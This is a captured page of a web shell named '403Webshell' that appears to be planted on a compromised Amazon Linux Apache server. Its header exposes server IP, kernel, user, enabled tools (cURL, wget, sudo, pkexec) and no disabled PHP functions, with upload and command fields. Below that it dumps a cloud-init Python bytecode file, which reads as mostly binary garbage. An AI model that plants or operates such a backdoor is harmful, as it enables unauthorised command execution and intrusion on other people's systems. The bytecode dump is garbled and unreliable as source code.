403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/cloudinit/analyze/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/analyze/__pycache__/show.cpython-39.opt-1.pyc
a

�½b�1�@s6ddlZddlZddlZddlZddlZddlZddlmZmZddl	m
Z
dddddd	d
ddd
dd�Zd�dd�e�
�D��ZdZdZdZedddfZdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�ZGd,d-�d-e�Zd.d/�Z d0d1�Z!d2d3�Z"d<d6d7�Z#d8d9�Z$d:d;�Z%dS)=�N)�subp�util)�uses_systemd�delta�description�elapsed�
event_type�indent�level�name�origin�result�	timestamp�
total_time)z%dz%Dz%Ez%ez%Iz%lz%nz%oz%rz%tz%T� cCs$g|]\}}d�|�dd�|��qS)z{0}: {1}�%z%%)�format�replace��.0�k�v�r�:/usr/lib/python3.9/site-packages/cloudinit/analyze/show.py�
<listcomp>3�rZ
successful�failureZ	container���cCsTt��D]:\}}||vr|dvr2|�|d|�}q|�|d|�}q|jfi|��S)N)rrrz
{%s:08.5f}z{%s})�
format_key�itemsrr)�msg�event�i�jrrr�
format_record;sr$cCsntdd�|��D��}|d}g}|D]B}|d}tj�|�}t�|d��d�}t�	||�|�
|�q&|S)Ncss"|]\}}|dvr||fVqdS))�contentNrrrrr�	<genexpr>Grz#dump_event_files.<locals>.<genexpr>�files�pathr%�ascii)�dictr�osr(�basename�base64Z	b64decode�decoderZ
write_file�append)r!r%r'Zsaved�fZfnameZfn_localZfcontentrrr�dump_event_filesFsr1cCs|r|�d�SdS)Nr��get�r!rrr�
event_nameTs
r5cCs|r|�d�SdS)Nrr2r4rrrrZs
cCs|rt|��d�dSdS)N�/r)r5�splitr4rrr�event_parent`sr8cCst|�d��S�Nr)�floatr3r4rrr�event_timestampfsr;cCstj�t|��S�N)�datetimeZutcfromtimestampr;r4rrr�event_datetimejsr>cCs||��Sr<)Z
total_seconds)�t1�t2rrr�
delta_secondsnsrAcCstt|�t|��Sr<)rAr>)�start�finishrrr�event_durationrsrDc	CsH|��}|�t||�t|t|��ddt|��d�ddd��|S)N�|rr6�z`->)rrr	)�copy�updaterDrAr>r5�count)�
start_timerBrC�recordrrr�event_recordvs��rLcCsd|S)NzTotal Time: %3.5f seconds
r)rrrr�total_time_record�srMc@s*eZdZdZd	dd�Zdd�Zdd�ZdS)
�SystemctlReaderzQ
    Class for dealing with all systemctl subp calls in a consistent manner.
    NcCsDd|_t�d�dg|_|r&|j�|�|j�d|g�|��|_dS)NZ	systemctlZshowz-p)�epochrZwhich�argsr/�extendr)�self�propertyZ	parameterrrr�__init__�szSystemctlReader.__init__c
CsXz*tj|jdd�\}}|r |WS||_WdStyR}z|WYd}~Sd}~00dS)z�
        Make a subp call based on set args and handle errors by setting
        failure code

        :return: whether the subp call failed or not
        T�ZcaptureN)rrPrO�	Exception)rR�value�errZsystemctl_failrrrr�szSystemctlReader.subpcCs2|jrtd�|j���|j�d�d}t|�dS)z{
        If subp call succeeded, return the timestamp from subp as a float.

        :return: timestamp as a float
        zBSubprocess call to systemctl has failed, returning error code ({})�=rFi@B)r�RuntimeErrorrrOr7r:)rRrrrr�parse_epoch_as_float�s	��z$SystemctlReader.parse_epoch_as_float)N)�__name__�
__module__�__qualname__�__doc__rTrr[rrrrrN�s
rNcCs2t�rt�St��s(dt��d��vr.t�StS)a)
    Determine which init system a particular linux distro is using.
    Each init system (systemd, etc) has a different way of
    providing timestamps.

    :return: timestamps of kernelboot, kernelendboot, and cloud-initstart
    or TIMESTAMP_UNKNOWN if the timestamps cannot be retrieved.
    Zgentoo�system)r�gather_timestamps_using_systemdrZ
is_FreeBSDZsystem_info�lower�gather_timestamps_using_dmesg�TIMESTAMP_UNKNOWNrrrr�dist_check_timestamp�s

rec	Cs�z�tjdgdd�\}}|d��}|D]n}|�d��d�dkr&|�d���}|d�d	�}t|�}tt���tt�	��}||}t
|||fWSq&Wnty�Yn0tS)
a
    Gather timestamps that corresponds to kernel begin initialization,
    kernel finish initialization using dmesg as opposed to systemctl

    :return: the two timestamps plus a dummy timestamp to keep consistency
    with gather_timestamps_using_systemd
    ZdmesgTrUrzUTF-8�userrrF�])
r�
splitlinesr.�findr7�stripr:�timer�uptime�SUCCESS_CODErVrd)	�data�_Z
split_entriesr"Zsplitup�strippedZuser_space_timestamp�kernel_start�
kernel_endrrrrc�srcc

Cstt���tt���}z�td���}tdd���}|}t}t��r�tj	dkr�tt���tt�
��}zt�d�}|j
}Wn4ty�}ztd�|��|�WYd}~n
d}~00t}nt}||}||}Wn2t�y�}	zt|	�tWYd}	~	Sd}	~	00||||fS)z�
    Gather timestamps that corresponds to kernel begin initialization,
    kernel finish initialization. and cloud-init systemd unit activation

    :return: the three timestamps
    ZUserspaceTimestampMonotonicZInactiveExitTimestampMonotoniczcloud-init-local)�rsz/proc/1/cmdlinezBCould not determine container boot time from /proc/1/cmdline. ({})N)r:rkrrlrNr[rmZis_container�sys�version_info�	monotonicr+�stat�st_atime�OSErrorrZr�CONTAINER_CODE�	FAIL_CODErV�printrd)
rqZdelta_k_endZ
delta_ci_sZ	base_timeZstatusZ	file_statrXrrZcloudinit_sysd�errrra�s@��


���raF�(%n) %d seconds in %I%Dc	Cs�t|dd�d�}g}d}d}i}	g}
g}g}tdt|��D�]T}
||
}z||
d}Wntynd}Yn0t|�dk�r<|�d	�|
vr�|�t|��|�|�g}d}d}|dur�g}
t|�}||	t	|�<t
|�t
|�k�r
t|�d
k�r:|�t|t|||���n0|�d|�d	��|�|�|
�|�d	��q:q:|�
�}t
|�t
|�k�r�t|||�}|�td|�d
�||�d�7}q:|�|�q:|�t|��|�|�|S)a2
    Take in raw events and create parent-child dependencies between events
    in order to order events in chronological order.

    :param events: JSONs from dump that represents events taken from logs
    :param blame_sort: whether to sort by timestamp or by time taken.
    :param print_format: formatting to represent event, time stamp,
    and time taken by the event in one line
    :param dump_files: whether to dump files into JSONs
    :param log_datafiles: whether or not to log events generated

    :return: boot records ordered chronologically
    cSs|dSr9r)�xrrr�<lambda>8rz"generate_records.<locals>.<lambda>)�keyNgrrFrBrrCzStarting stage: %szFinished stage: (%n) %d seconds�
r)�sorted�range�len�
IndexErrorrr3r/rMr>r8r5r$rL�pop)�eventsZ
blame_sort�print_formatZ
dump_filesZ
log_datafilesZ
sorted_eventsZrecordsrJrZstage_start_timeZstages_seenZboot_recordsZunprocessedr}r!Znext_evtZprev_evtrKrrr�generate_records#sd


��
��
r�cCst||d�S)a<
    A passthrough method that makes it easier to call generate_records()

    :param events: JSONs from dump that represents events taken from logs
    :param print_format: formatting to represent event, time stamp,
    and time taken by the event in one line

    :return: boot records ordered chronologically
    )r�)r�)r�r�rrr�show_eventsvs
r�cCs8|��}zt�|�|fWSty2d|fYS0dS)z�
    Takes in a log file, read it, and convert to json.

    :param infile: The Log file to be read

    :return: json version of logfile, raw file
    N)�read�json�loads�
ValueError)Zinfilernrrr�load_events_infile�s
r�)Fr~FF)&r-r=r�r+rtrkZ	cloudinitrrZcloudinit.distrosrr�joinrZformatting_helprmr{rzrdr$r1r5rr8r;r>rArDrLrM�objectrNrercrar�r�r�rrrr�<module>s`��
54�
S

Youez - 2016 - github.com/yon3zu
LinuXploit